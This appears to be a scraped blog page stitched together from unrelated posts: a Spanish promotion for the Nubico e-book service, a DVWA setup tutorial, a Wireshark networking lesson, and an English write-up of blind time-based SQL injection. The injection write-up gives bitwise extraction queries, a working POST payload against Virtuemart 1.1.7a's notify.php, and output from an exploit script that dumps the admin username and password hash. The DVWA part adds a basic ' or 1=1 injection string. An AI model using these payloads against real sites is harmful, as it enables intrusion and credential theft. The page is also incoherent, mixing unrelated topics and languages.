Puffadust Mobile Blog (BAK)

Monday, April 20, 2020

Bit Banging Your Database

This post will be about stealing data from a database one bit at a time. Most of the time pulling data from a database a bit at a time would not be ideal or desirable, but in certain cases it will work just fine. For instance when dealing with a blind time based sql injection. To bring anyone who is not aware of what a "blind time based" sql injection is up to speed - this is a condition where it is possible to inject into a sql statement that is executed by the database, but the application gives no indication about the result of the query. This is normally exploited by injecting boolean statements into a query and making the database pause for a determined about of time before returning a response. Think of it as playing a game "guess who" with the database.

Now that we have the basic idea out of the way we can move onto how this is normally done and then onto the target of this post. Normally a sensitive item in the database is targeted, such as a username and password. Once we know where this item lives in the database we would first determine the length of the item, so for example an administrator's username. All examples below are being executed on an mysql database hosting a Joomla install. Since the example database is a Joomla web application database, we would want to execute a query like the following on the database:

select length(username) from jos_users where usertype = 'Super Administrator';

Because we can't return the value back directly we have to make a query like the following iteratively:

select if(length(username)=1,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
select if(length(username)=2,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';

We would keep incrementing the number we compare the length of the username to until the database paused (benchmark function hit). In this case it would be 5 requests until our statement was true and the benchmark was hit.

Examples showing time difference:

mysql> select if(length(username)=1,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
1 row in set (0.00 sec)

mysql> select if(length(username)=5,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
1 row in set (0.85 sec)

Now in the instance of the password, the field is 65 characters long, so it would require 65 requests to discover the length of the password using this same technique. This is where we get to the topic of the post, we can actually determine the length of any field in only 8 requests (up to 255). By querying the value bit by bit we can determine if a bit is set or not by using a boolean statement again. We will use the following to test each bit of our value:

Start with checking the most significant bit and continue to the least significant bit, value is '65':

value & 128
01000001
10000000
-----------
00000000

value & 64
01000001
01000000
-----------
01000000

value & 32
01000001
00100000
-----------
00000000

value & 16
01000001
00010000
--------
00000000

value & 8
01000001
00001000
--------
00000000

value & 4
01000001
00000100
-----------
00000000

value & 2
01000001
00000010
-----------
00000000

value & 1
01000001
00000001
-----------
00000001

The items that have been highlighted in red identify where we would have a bit set (1), this is also the what we will use to satisfy our boolean statement to identify a 'true' statement. The following example shows the previous example being executed on the database, we identify set bits by running a benchmark to make the database pause:

mysql> select if(length(password) & 128,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 64,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (7.91 sec)

mysql> select if(length(password) & 32,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 16,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 8,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 4,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 2,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 1,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (8.74 sec)

As you can see, whenever we satisfy the boolean statement we get a delay in our response, we can mark that bit as being set (1) and all others as being unset (0). This gives us 01000001 or 65. Now that we have figured out how long our target value is we can move onto extracting its value from the database. Normally this is done using a substring function to move through the value character by character. At each offset we would test its value against a list of characters until our boolean statement was satisfied, indicating we have found the correct character. Example of this:

select if(substring(password,1,1)='a',benchmark(50000000,md5('cc')),0) as query from jos_users;

This works but depending on how your character set that you are searching with is setup can effect how many requests it will take to find a character, especially when considering case sensitive values. Consider the following password hash:

da798ac6e482b14021625d3fad853337skxuqNW1GkeWWldHw6j1bFDHR4Av5SfL

If you searched for this string a character at a time using the following character scheme [0-9A-Za-z] it would take about 1400 requests. If we apply our previous method of extracting a bit at a time we will only make 520 requests (65*8). The following example shows the extraction of the first character in this password:

mysql> select if(ord(substring(password,1,1)) & 128,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)

mysql> select if(ord(substring(password,1,1)) & 64,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.91 sec)

mysql> select if(ord(substring(password,1,1)) & 32,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.93 sec)

mysql> select if(ord(substring(password,1,1)) & 16,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)

mysql> select if(ord(substring(password,1,1)) & 8,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)

mysql> select if(ord(substring(password,1,1)) & 4,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.91 sec)

mysql> select if(ord(substring(password,1,1)) & 2,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)

mysql> select if(ord(substring(password,1,1)) & 1,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)

Again I have highlighted the requests where the bit was set in red. According to these queries the value is 01100100 (100) which is equal to 'd'. The offset of the substring would be incremented and the next character would be found until we reached the length of the value that we found earlier.

Now that the brief lesson is over we can move on to actually exploiting something using this technique. Our target is Virtuemart. Virtuemart is a free shopping cart module for the Joomla platform. Awhile back I had found an unauthenticated sql injection vulnerability in version 1.1.7a. This issue was fixed promptly by the vendor (...I was amazed) in version 1.1.8. The offending code was located in "$JOOMLA/administrator/components/com_virtuemart/notify.php" :

if($order_id === "" || $order_id === null)
{
$vmLogger->debug("Could not find order ID via invoice");
$vmLogger->debug("Trying to get via TransactionID: ".$txn_id);
$qv = "SELECT * FROM `#__{vm}_order_payment` WHERE `order_payment_trans_id` = '".$txn_id."'";
$db->query($qv);
print($qv);
if( !$db->next_record()) {
$vmLogger->err("Error: No Records Found.");
}

The $txn_id variable is set by a post variable of the same name. The following example will cause the web server to delay before returning:

POST /administrator/components/com_virtuemart/notify.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
invoice=1&txn_id=1' or benchmark(50000000,md5('cc'));#

Now that an insertion point has been identified we can automate the extraction of the "Super Administrator" account from the system:

python vm_own.py "http://192.168.18.131/administrator/components/com_virtuemart/notify.php"

[*] Getting string length

[+] username length is:5

[+] username:admin

[*] Getting string length

[+] password length is:65

[+] password:da798ac6e482b14021625d3fad853337:skxuqNW1GkeWWldHw6j1bFDHR4Av5SfL

The "vm_own.py" script can be downloaded here.

Nubico: Una Startup En España Para Leer Muchos Comics, Libros Y Revistas

Desde que comenzó este periodo de confinamiento, todos los días hablo con mi mamá. Hablo con ella para contarle mi día, mis aventuras y desventuras, y contarle cómo estoy. Después, hablamos de cómo se encuentra, de qué ha hecho, de si ha hecho ejercicio o no en casa - que si no vamos a salir todos del confinamiento rodando - y de entretenimiento. En esta parte, en la que tiene que ver con ocio hablamos de muchas cosas, pero principalmente, películas, series y libros.

Figura 1: Nubico: Una startup en España para leer muchos comics, libros y revistas

Como tiene Movistar+ - como ya os habréis imaginado y supuesto - comentamos las películas y las series que a ella le pueden gustar. Le encantó Arde Madrid porque le recuerda a una época que ella vivió, en una ciudad que ella pisoteó y la serie de Hierro con esa trama en la isla de Canarias. Le gustó mucho "Mientras dure la guerra" de Alejandro Amenabar y "Quién a hierro mata" que protagoniza Luis Tosar.

Ver al reparto completo de "The Big Bang Theory" de niños en el último capítulo de la temporada 2 de "El joven Sheldon" me ha sacado una lagrimillla }:_) La tienes en @MovistarPlus ¿Los reconoces? pic.twitter.com/kPQPri5h5c
— Chema Alonso (@chemaalonso) April 8, 2020

Además, hablamos de que pronto llegará "El Crack Cero" de mi querido José Luis Garci que como yo fui al estreno, le cuento que es muy buena y ya está esperando que la pongamos en catálogo. Durante el tiempo que le duró la serie de "La voz más alta" me la contaba diariamente, pero nos divertimos mucho comentando las aventuras de "El Joven Sheldon", que nos gusta mucho a los dos.

Figura 3: Libros de Eduardo Mendoza en el catálogo de Nubico Premium

Después hablamos de libros, ya que cuando comenzó todo este periodo vacié mis estanterías con algunos libros y le llevé una caja con libros de Carlos Ruíz Zafón, Arturo Pérez Reverte, Matilde Asensi, Juan Gómez Jurado, Julia Navarro o Eduardo Mendoza. Y me los comenta, me recomienda, me pregunta por mis libros de Star Wars, etcétera.

View this post on Instagram

Llamando a la mamita por FaceTime con mi Animoji maligno para hacerla reír un rato que le gusta cuando tuerzo el morrillo como ella y saco los colmillitos. ¿Has llamado a la tuya ya? Pues andando, llama a tus mayores ahora mismo. #llamaalamama
A post shared by Chema Alonso (@chemaalonso) on Apr 12, 2020 at 9:48am PDT

Son conversaciones para llenar media hora en la que hablamos de cosas para distraernos un poco de esa situación tan excepcional que estamos viviendo. Y que nos sirve para mantener una relación más cercana a pesar de no poder abrazarnos y recibir los achuchones de mi mami que tanto me gustan.

Figura 5: Libros de Carlos Ruiz Zafón en Nubico

Como mi madre, (la mía mamma!!) tiene mucho tiempo libre ahora, pues lee a mucha velocidad, y estaba repasando en mi estantería qué libros le podía llevar, o si podía comprarle alguno cuando me he acordado de una Startup con la que recordaba que habíamos hecho algo entre Telefónica y el Grupo Planeta: Nubico.

Figura 6: Con una suscripción tienes 60.000 libros en el catálogo gratis

Y cuál ha sido mi sorpresa al ver que tienen una suscripción a un catálogo ya de 60.000 libros. Nada más y nada menos. Yo los conocí tiempo atrás, cuando yo estaba comenzando con Talentum en Telefónica allá por el año 2012, y la verdad es que su catálogo entonces era mucho más reducido.

Figura 7: Libros de Juan Gómez Jurado en suscripción

Entre los libros que hay en la suscripción Premium a Nubico hay un catálogo más que inmenso para mantener a mi madre entretenida leyendo durante mucho tiempo, con libros para que mi madre pueda tener en su mano un catalogo mayor que el de la mayoría de las bibliotecas públicas.

Figura 8: Revistas del mes en Nubico

Además, también tiene más de 80 revistas que salen semanalmente - como El Jueves - o mensualmente como Muy Interesante, Computer Hoy, Motociclismo, Mi Casa, etcétera. Yo no soy muy de revistas, la verdad, pero a mí mamá si que le gusta repasarlas. Y vale, yo no desperdicio la ocasión de echarle un ojo a un Jueves (tengo más de mil guardados).

Figura 9: Nubico con 1 mes gratis para Movistar

Lo mejor es que para ella, el coste de la suscripción Premium a todo ese catálogo de Nubico es de 6,88 € al mes por que por ser cliente de Movistar tiene un mes extra gratis. Pero si no, son 7,45 € al mes. Así que nada, problema resuelto con los libros. A partir de hora mi mamá se pasa al tablet para leer. Se lo voy a preparar todo, que con la instalación de las apps y la configuración de las cuentas siempre se me lía un poco.

Figura 10: Cómics de Batman en la suscripción. No veo a mi madre con Batman.

A mí, personalmente, leer en digital me gusta, pero reconozco que tengo un puntito de coleccionista. Ya sabéis, de los que disfruta viendo sus "presas" en la estantería, sobre todo los que son colecciones como mis libros de Star Wars, o mis cómics ordenados por números. Pero no es para todo el mundo esto de acumular, y no todos los libros son igual de importantes para cada uno.

View this post on Instagram

Pues ahora que en Movistar Plus vamos a tener a partir del 24 de Marzo Disney+ con The Mandalorian, había pensado en releer alguno pasajes de la historia de Star Wars durante la cuarentena. Esta solo es la mitad, más o menos, de los libros, cómics, tiras de prensa, etc... que tengo de StarWats. Creo que es momento de ir a vivir unas aventurillas en una galaxia muy, muy lejana.... hace mucho, mucho tiempo. @movistarplus #starwars Nota: hay algo de Str Trek, sí, ¡que yo le pego a todo! Y en Netflix están los miembros del Enterprise! @netflixes
A post shared by Chema Alonso (@chemaalonso) on Mar 12, 2020 at 10:06pm PDT

Pero para la lectura de libros de actualidad, para las revistas que acaban muchas veces en la basura, perdidas o arrugaditas, o poder equivocarte al elegir un libro para leer, sin pensar para nada en la parte coleccionista, las bibliotecas digitales son un servicio que permite acceder a una cantidad ingente de cultura a un precio muy asequible.

Figura 12: Gratis 15 días - ideal para estas próximas dos semanas -

En la web de Nubico, si no eres cliente de Movistar, también tenéis un periodo de prueba gratis de 15 días, por lo que en este periodo de confinamiento es una oportunidad genial para que lo pruebes, y veas algunas de las revistas o libros que tiene en el catálogo. Que merece la pena. Tienes hasta Cómics de Batman, que para estos días puede ser una buena ocasión.

Saludos Malignos!

Autor: Chema Alonso (Contactar con Chema Alonso)

More articles

Learning Web Pentesting With DVWA Part 1: Installation

In this tutorial series I'm going to walk you through the damn vulnerable web application (DVWA) which is damn vulnerable. Its main goal according to the creators is "to aid security professionals to test thier skills and tools in a legal environment, help web developers better understand the process of securing web applications and to aid both students & teachers to learn about web application security in a controlled class room environment."

I am going to install DVWA in docker so the prerequisite for this tutorial will be an installation of docker (Docker is not the only way to install DVWA but if you have docker already installed then it may be the easiest way to install DVWA).

To install DVWA in docker run your docker deamon if it's not running already and open a terminal or powershell and type:

docker rum --rm -it -p 8080:80 vulnerables/web-dvwa

It will take some time to pull the image from docker hub depending on your internet speed and after it is complete it will start the dvwa application. In the command we have mapped the image instance's port 80 to our hosts port 8080 so we should be able to access the web application from our host at http://localhost:8080

Now open your favorite web browser and go to http://localhost:8080
You should be prompted with a login screen like this:

login with these creds:
username: admin
password: password

After login you'll see a database setup page since this is our first run. Click on Create / Reset Database button at the bottom. It will setup database and redirect you to login page. Now login again and you'll see a welcome page.

Now click on DVWA Security link at the bottom of the page navigation and make sure the security level is set to Low. If it is not click on the dropdown, select Low and then click submit.

Now our setup is complete, so lets try a simple SQL attack to get a taste of whats about to come.

Click on SQL Injection in navigation menu.
You'll be presented with a small form which accepts User ID.
Enter a single quote (') in the User ID input field and click Submit.
You'll see an SQL error like this:

From the error message we can determine that the server has a MariaDB database and we can see the point of injection.
Since there are many quotes we are not able to determine the exact location of our injection. Lets add some text after our single quote to see exactly where our injection point is.
Now I am going to enter 'khan in the User ID field and click Submit.

Now we can see exactly where the point of injection is. Determining the point of injection is very important for a successful SQL injection and is sometimes very hard too, though it might not be that much useful here in this exercise.

Now lets try the very basic SQL Injection attack.
In the User ID field enter ' or 1=1-- - and click Submit.

We will explain what is going on here in the next article.

References:-
1. DVWA Official Website: http://www.dvwa.co.uk/

More info

Networking | Routing And Switching | Tutorial 2 | 2018

Welcome to my 2nd tutorial of the series of networking. In this video I've briefly described peer to peer network (P2P). Moreover, you'll see how to make a peer to peer network? How it's working? How we can intercept traffic over the network by using Wireshark? and many more. Wireshark tool is integrated with eNSP so it'll be installed automatically when you install the eNSP. On the other hand, you can install the Wireshark for your personal use from its website.

What is Peer to Peer (P2P) network?

As when devices are connected with each other for the sake of communication that'll be known as a Network. Now what is peer to peer network? In P2P network each and every device is behaving like a server and a client as well. Moreover They are directly connected with each other in such a way that they can send and received data to other devices at the same time and there is no need of any central server in between them.

There is a question that mostly comes up into our minds that Is it possible to capture data from the network? So the answer is yes. We can easily captured data from the network with the help of tools that have been created for network troubleshooting, so whenever there will be some issues happening to the network so we fixed that issues with the help of tools. Most usable tool for data capturing that every network analyst used named Wireshark but there are so many other tools available over the internet like SmartSniff, Ethereal, Colasoft Capsa Network Analyze, URL Helper, SoftX HTTP Debugger and many more.

What is Wireshark?

Wireshark is an open source network analyzer or sniffer used to capture packets from the network and tries to display the brief information about the packets. It is also used for software and communication protocol development. Moreover, Wireshark is the best tool to intercept the traffic over the network.